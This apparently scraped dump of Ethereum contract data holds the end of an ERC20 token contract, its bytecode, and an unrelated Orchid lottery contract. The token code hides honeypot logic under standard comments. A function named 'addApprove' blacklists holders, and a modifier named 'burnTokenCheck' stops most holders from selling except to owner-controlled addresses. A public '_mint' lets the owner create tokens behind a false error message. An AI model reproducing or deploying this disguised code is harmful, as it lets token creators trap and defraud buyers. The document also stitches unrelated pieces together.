* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207fc9238743e5591dae154d30ea19ad65728f7e03406a8fd7db9d6a901ec0299a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,701 |
0x6db8381b2b41b74e17f5d4eb82e8d5b04dda0a82
|
/* Orchid - WebRTC P2P VPN Market (on Ethereum)
* Copyright (C) 2017-2021 The Orchid Authors
*/
/* GNU Affero General Public License, Version 3 {{{ */
/* SPDX-License-Identifier: AGPL-3.0-or-later */
/*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
**/
/* }}} */
pragma solidity 0.7.6;
pragma abicoder v2;
interface IERC20 {}
contract OrchidLottery1 {
uint64 private immutable day_;
constructor(uint64 day) {
day_ = day;
}
struct Account {
uint256 escrow_amount_;
uint256 unlock_warned_;
}
mapping(bytes32 => Account) accounts_;
event Create(IERC20 indexed token, address indexed funder, address indexed signer);
event Update(bytes32 indexed key, uint256 escrow_amount);
event Delete(bytes32 indexed key, uint256 unlock_warned);
function read(IERC20 token, address funder, address signer) external view returns (uint256, uint256) {
Account storage account = accounts_[keccak256(abi.encodePacked(token, funder, signer))];
return (account.escrow_amount_, account.unlock_warned_);
}
function send_(address sender, IERC20 token, uint256 retrieve) private {
if (retrieve != 0) {
(bool success, bytes memory result) = address(token).call(
abi.encodeWithSignature("transfer(address,uint256)", sender, retrieve));
require(success && (result.length == 0 || abi.decode(result, (bool))));
}
}
function edit(IERC20 token, uint256 amount, address signer, int256 adjust, int256 warn, uint256 retrieve) external {
require(token != IERC20(0));
(bool success, bytes memory result) = address(token).call(
abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, this, amount));
require(success && abi.decode(result, (bool)));
edit_(msg.sender, token, amount, signer, adjust, warn, retrieve);
send_(msg.sender, token, retrieve);
}
function tokenFallback(address sender, uint256 amount, bytes calldata data) public {
require(data.length >= 4);
bytes4 selector; assembly { selector := calldataload(data.offset) }
if (false) {
} else if (selector == bytes4(keccak256("edit(address,int256,int256,uint256)"))) {
address signer; int256 adjust; int256 warn; uint256 retrieve;
(signer, adjust, warn, retrieve) = abi.decode(data[4:],
(address, int256, int256, uint256));
edit_(sender, IERC20(msg.sender), amount, signer, adjust, warn, retrieve);
send_(sender, IERC20(msg.sender), retrieve);
} else require(false);
}
function onTokenTransfer(address sender, uint256 amount, bytes calldata data) external returns (bool) {
tokenFallback(sender, amount, data);
return true;
}
function edit(address signer, int256 adjust, int256 warn, uint256 retrieve) external payable {
edit_(msg.sender, IERC20(0), msg.value, signer, adjust, warn, retrieve);
if (retrieve != 0) {
(bool success,) = msg.sender.call{value: retrieve}("");
require(success);
}
}
function edit_(address funder, IERC20 token, uint256 amount, address signer, int256 adjust, int256 warn, uint256 retrieve) private {
bytes32 key = keccak256(abi.encodePacked(token, funder, signer));
Account storage account = accounts_[key];
uint256 backup;
uint256 escrow;
if (adjust != 0 || amount != retrieve) {
backup = account.escrow_amount_;
if (backup == 0)
emit Create(token, funder, signer);
escrow = backup >> 128;
amount += uint128(backup);
}
{
uint256 marked;
uint256 warned;
uint256 unlock;
if (adjust < 0 || warn != 0) {
warned = account.unlock_warned_;
marked = warned >> 192;
unlock = uint64(warned >> 128);
warned = uint128(warned);
}
if (warn > 0) {
unlock = block.timestamp + day_;
warned += uint256(warn);
require(warned >= uint256(warn));
}
if (adjust < 0) {
require(unlock - 1 < block.timestamp);
uint256 recover = uint256(-adjust);
require(int256(recover) != adjust);
require(recover <= escrow);
amount += recover;
escrow -= recover;
require(recover <= warned);
warned -= recover;
} else if (adjust != 0) {
uint256 transfer = uint256(adjust);
require(transfer <= amount);
amount -= transfer;
escrow += transfer;
}
if (warn < 0) {
uint256 decrease = uint256(-warn);
require(int256(decrease) != warn);
require(decrease <= warned);
warned -= decrease;
}
if (retrieve != 0) {
require(retrieve <= amount);
amount -= retrieve;
}
if (unlock != 0) {
require(warned < 1 << 128);
uint256 cache = marked << 192 | (warned == 0 ? 0 : unlock << 128 | warned);
account.unlock_warned_ = cache;
emit Delete(key, cache);
}
} {
require(amount < 1 << 128);
require(escrow < 1 << 128);
uint256 cache = escrow << 128 | amount;
if (cache != backup) {
account.escrow_amount_ = cache;
emit Update(key, cache);
}
} }
struct Loop {
uint256 closed_;
mapping(address => uint256) merchants_;
}
mapping(address => Loop) private loops_;
event Enroll(address indexed funder, address indexed recipient);
function enroll(bool cancel, address[] calldata recipients) external {
Loop storage loop = loops_[msg.sender];
uint i = recipients.length;
if (i == 0) {
loop.closed_ = cancel ? 0 : block.timestamp + day_;
emit Enroll(msg.sender, address(0));
} else {
uint256 value = cancel ? uint256(-1) : block.timestamp + day_;
do {
address recipient = recipients[--i];
require(recipient != address(0));
loop.merchants_[recipient] = value;
emit Enroll(msg.sender, recipient);
} while (i != 0);
}
}
function enrolled(address funder, address recipient) external view returns (uint256) {
Loop storage loop = loops_[funder];
if (recipient == address(0))
return loop.closed_;
else
return loop.merchants_[recipient];
}
